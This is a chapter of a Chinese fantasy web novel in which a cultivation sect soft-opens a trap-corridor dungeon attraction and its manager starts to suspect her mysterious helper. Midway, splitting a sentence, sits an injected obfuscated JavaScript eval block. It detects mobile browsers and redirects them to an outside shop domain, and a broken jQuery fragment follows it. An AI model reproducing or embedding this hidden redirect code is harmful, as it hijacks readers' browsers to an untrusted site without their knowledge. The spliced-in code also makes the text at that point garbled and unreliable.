青云宗山门前比往常多了一块新木牌——
古墓探宝·第一层青铜甬道
小范围试营业
宋闻站在木牌旁，手里捏着一沓号牌，扯着嗓子招呼着顾客：
“诸位道友瞧一瞧，看一看诶！本宗新秘境，今日小范围开放！限量体验，先到先得！”
有人问：“和荒村婚宴一样吗？”
“不一样，完全不一样！”宋闻立刻道，“荒村婚宴主打沉浸惊悚，磨炼心性；青铜甬道主打机关躲避，锻炼反应。而且价位低廉，适合囊中羞涩，但志向高远的道友！”
他已经深得宣传话术精髓。
果然，很快有人来了兴趣。
“多少钱？”
宋闻嘴皮子利索地报出价格：“新秘境有三条路线可选，但只收一口价：一百枚灵石！”
“一百？”有人倒吸一口凉气，“为什么比荒村婚宴贵？”
“我们为不同目标的修士量身定制了不同闯关路线。同一个入口，却通向不同结局，专为有胆识、有悟性、有进取之心的修士准备。若能通关，奖励翻倍；若不能通关，也能收获宝贵经验。”
“什么经验？”
宋闻一脸真诚：“保密。”
宋闻继续兜售，方砚从后山匆匆赶来，神色紧张又认真。
“姜掌事，阵法各处已经检查过了，状况稳定，可以接待修士了。”
姜照颜点头：“很好。今日只小范围开放，先放三组，宁可少赚，不要出事。”
正说话间，陆源从也来上工了。
他总穿着那身朴素青衣，身上也没什么装饰，却偏偏在一群服饰各异的修士里格外醒目。
有人认出他就是荒村婚宴里的山神，立刻冲他叫道：
“山神！你也在新秘境里吗？”
“青铜甬道不含山神陪练服务。”
那人失望道：“为什么？”
“因为这是第一关。”姜照颜义正词严地站出来，挡在人群和陆源之间，“第一关就把杀手锏拿出来，后面的关卡用什么？”
众人一想，觉得很有道理。
转眼间，第一批票已经卖了出去。
水镜升起，挑战者进入。原本排荒村婚宴的人也不急着走了，纷纷挤过来看热闹。
青铜甬道的画面在水镜中浮现，幽暗的甬道、斑驳的青铜灯、深浅不一的地砖，还有墙壁上若隐若现的兽纹，都比荒村婚宴多了几分沉沉的古意。
两个散修最先进入。
高个散修自信迈步：“不过是机关甬道，跟着我走就是。”
矮个散修小声道：“可是砖颜色不太对。”
“哪里不对？”
“太绿了，绿得发邪……”
高个散修脚步一顿，从善如流地把已经迈出的脚收了回来。
只听咔哒一声，两侧墙壁同时喷出一阵烟雾。
虽不是伤人机关，但若方才真踩着过去了，少不得要被喷一身。
因为第一次判断正确，矮个散修成了带路的人。
两人一路磕磕绊绊，真避开了大部分机关。但矮个散修为人谨慎，选择了最普通的路线。等终于从尽头出来时，虽然有些狼狈，却没有受伤。
出口处放着一个小小的基础奖励盒。
打开后，发现里面是一枚灵石、一张低阶护身符，还有一块写着“青铜甬道通关”的小木牌。翻过来一看，背面还写着“凭此牌挑战下一层，可享九折优惠”的字样。
接下来是第二批人。三个宗门弟子一进去，眼神就直往宝箱上瞟。
他们选择了中间那扇门，机关明显多了许多，甬道两侧时不时会弹出机关手，地面也会突然陷落。好在每一处机关前都有提示，只是比普通路线隐蔽些，需要三个人分工观察。
走到通关宝箱前时，三个人都停住了。
宝箱不大，外壳被姜照颜用铜片重新装饰过，乍一看还真有几分古墓遗宝的意思。
其中一个弟子伸手就要开，却被同伴拦住：“等等，旁边的灯不太对劲。”
话音刚落，宝箱旁的沙漏果然亮了起来。
三人顿时手忙脚乱。两个忙着解锁，一个防备机关，还得留意着倒计时。
最后宝箱咔哒一声打开，里面静静躺着几样东西：
几块灵石，几张低阶清心符，一块钱掌柜炼器铺的打折牌。
一个人撇了撇嘴：“这奖励也就一般吧。”
但另一个人却惊喜道：“打折牌？我那照妖镜裂了，正好要修！这东西我拿走了啊。”
原本看热闹的人群里，有人转头同身边议论：“看起来，宝箱开出来的东西都是随机的？”
“这开箱还挺有意思的。”
不远处，钱掌柜派来的小伙计也在人群里探头探脑。看见有人真把炼器铺折价牌当回事，他眼珠顿时亮了，挤出人群撒腿就跑，估计是回去报信了。
姜照颜看在眼里，心情更好。
很好，广告位起到效果了。说不定以后还能竞个标、招个商什么的。
最后轮到一位黑衣修士入场。
他站在入口前，姿态十分潇洒：“诸位看好了。”
立刻有人跟着起哄。
“好！”
“道友争气些！一百灵石呢，可不能白花！”
黑衣修士显然很享受这种关注，器宇轩昂地推门而入。
为了造势，宋闻甚至在外面解说起来：“这位道友不愧是敢来挑战的贵客，一入场便避开了第一道机关。”
黑衣修士确实比昨日内测的弟子强些。他看出地砖规律，也避开了墨汁机关。水镜外不少人开始感叹，觉得他真有可能通关。
然而到了要做出选择的岔路口，问题来了。
满是陷阱的那条路门口，一口巨大的宝箱摆在那里。水镜外安静下来，静待他的选择。
黑衣修士犹豫片刻，果然走向了看上去最吸引人的这扇门。
进门后，只听甬道内古老雄浑的声音响起——
富贵险中求。
他不由得脸色一变。
两只机关兽从黑暗里窜出，地砖一块接一块翻转。黑衣修士狼狈躲闪，水镜外围观的人们笑成一片。
眼看就要被机关小兽逼进滚道，他一咬牙，忽然反手一剑斩向机关兽。
姜照颜心提到了嗓子眼，那两只机关兽可是她新花钱置办的呀！
仿佛察觉到了她的心事似的。在无人察觉的角落，一道仙力飞掠而入，将黑衣修士的剑弹开，就在同时，黑衣修士脚下一空，还没反应过来，整个人便被甬道强制吐了出来，砰的一声摔在入口前。
狼狈模样惹得人群一阵哄笑。
黑衣修士气得满脸通红，又羞又怒道：“你们这是什么意思？”
“什么什么意思？”
“我分明快通关了！怎么被丢了出来？”
姜照颜虽没想通他刚刚为什么出发了强制弹出机关，但此刻，她必不可能承认自己也不懂。
“道友违规破坏机关，触发了本秘境的强制退出机制。”
黑衣修士争辩：“机关兽都扑到我面前了，我反击有何不对？”
“入境前，已跟各位讲明规则。这一层秘境考验的是机关识别与路线选择，可以躲避和防御，但不允许破坏试炼机关。若机关失控，我们自会负责；但若是挑战者故意损毁，须照价赔偿。”
听到赔偿二字，黑衣修士气势顿时弱了三分。
叶小满非常及时地抱着账本过来：“机关兽一只，价值一百灵石。因道友未实际损毁，就不收取费用了。”
宋闻打起配合，扬声道：“诸位放心，我宗秘境严守规则。今日这位道友虽然未能通关，但也为大家展示了本宗的安全保护机制，十分可靠，十分及时！”
黑衣修士气得脸都绿了。
可话都说到这个份上，他再闹下去，就不是青云宗耍赖，而是他输不起还想砸机关。
最后，他只能黑着脸转身挤出人群走了。
这一场小风波没有影响新秘境的热度，反而让围观的人更感兴趣了。宋闻忙得脚不沾地，脸上却全是笑。
到了傍晚，小范围试营业终于结束。
叶小满得意地向纪松年汇报：“扣除奖励消耗和机关
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936679|213732||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
维护成本，今日净赚五百枚灵石！”
“第一日小试，便有五百枚灵石入账？”纪松年听得下巴都快惊掉了。
“而且今日是限量开放，若后续运行稳定，批次还能增加。”
老人激动得胡须都在抖。
姜照颜却冷静得多。
五百枚灵石，听着不少。可第一层才刚刚试营业，后面机关维护、宝箱奖励、人工排班，哪一样都要钱。
何况她真正想做的，也不是只靠这一层赚大钱。
“那明日还继续小范围开放吗？”
“开。”姜照颜略一思忖，“但是号牌限量。”
“我明白了！限量的东西才显得珍贵！”宋闻脑筋转得快，立刻便明白了姜照颜的意思，“我明日就说，青铜甬道每日只开放少量名额，先到先得，过时不候。”
纪松年感慨道：“姜小友此法甚妙。既保了修士的安全，又可让修士知晓机缘难得，不可轻慢。”
姜照颜沉默了一下。
她只是想饥饿营销，但这个老头总把她说得像在普度众生。
陆源轻轻偏过头。
姜照颜敏锐地看去：“你笑什么？”
他神色平静：“没有。”
“我看见了。”姜照颜眯起眼，“你是不是偷偷笑我？”
陆源放下筷子，一本正经道：“没有。我只是觉得，姜掌事思虑周全。”
明明是夸人的话。但不知道为什么，从他嘴里说出来，就有一股阴阳怪气的味道。
姜照颜瞪了他片刻，忽然想起白天那道悄无声息弹开黑衣修士长剑的力量。
当时场面混乱，旁人未必看清，可她一直盯着机关兽，自然察觉到不对。
强制退出机关是她设的没错，可当时机关并未来得及触发。
其他人都懵然不知，只有这人……
她越想越觉得不对，从认识以来，这人就一直轻描淡写地做不普通的事。
再混乱的局面，他都那样从容。
好似这些鸡飞狗跳的事，都只是落在雪上的一点尘。
陆源不对劲。
这想法也不是今日才有苗头。
从他突兀地出现在荒村婚宴里开始，姜照颜就觉得这个人不像普通散修。
别人进秘境是为了修炼，他虽然口中说着要修炼，却天天给她打工也没有怨言。
别人遇见机关先躲了，他遇见机关先挡在自己面前。
别人听见秘境事故，多少要议论两句，他倒好，一句“不知”就闭口再也不言。
更不要说今日那黑衣修士挥剑要砍机关兽时，那道悄无声息弹开剑锋的力量。
旁人只顾着看热闹，或许没看清。
可姜照颜当时眼睛都快黏在那两只机关兽身上了，生怕新买来的家当第一天上岗就惨遭毒手，自然看得清清楚楚。
那绝不是她设置的强制退出机关。
院子里夜风正凉。
姜照颜看着老树下的青衣身影，越看越觉得这人似深不见底的寒潭。
平日里安安静静，甚至可以用温顺来形容，可谁也不知道底下到底有多深。
察觉她目光，陆源转过头：“怎么了？”
姜照颜原本想直接问出来，话到嘴边却又咽了回去。
他若想说，早说了。
他若不想说，自己问了，也不会得到答案。
她想了想，走过去，十分自然地在他身边坐下。
“睡不着，聊两句。”
两人之间隔着半臂距离。
院门口的灯笼被风吹得轻轻摇晃。
“你以前是不是过得挺苦的？”姜照颜像是随口闲聊似的，“我第一次见你的时候，你说自己买不起入境牌，也没有地方去。我当时一听，心想完了，这人比我还穷，怪可怜的。”
“嗯。”
“嗯是什么意思？”姜照颜偏头看他，“真穷过？”
陆源淡淡道：“早年的确不宽裕。”
姜照颜顺势追问：“不宽裕到什么程度？吃不起饭？住不起店？还是买不起法器丹药？”
“都曾有过。”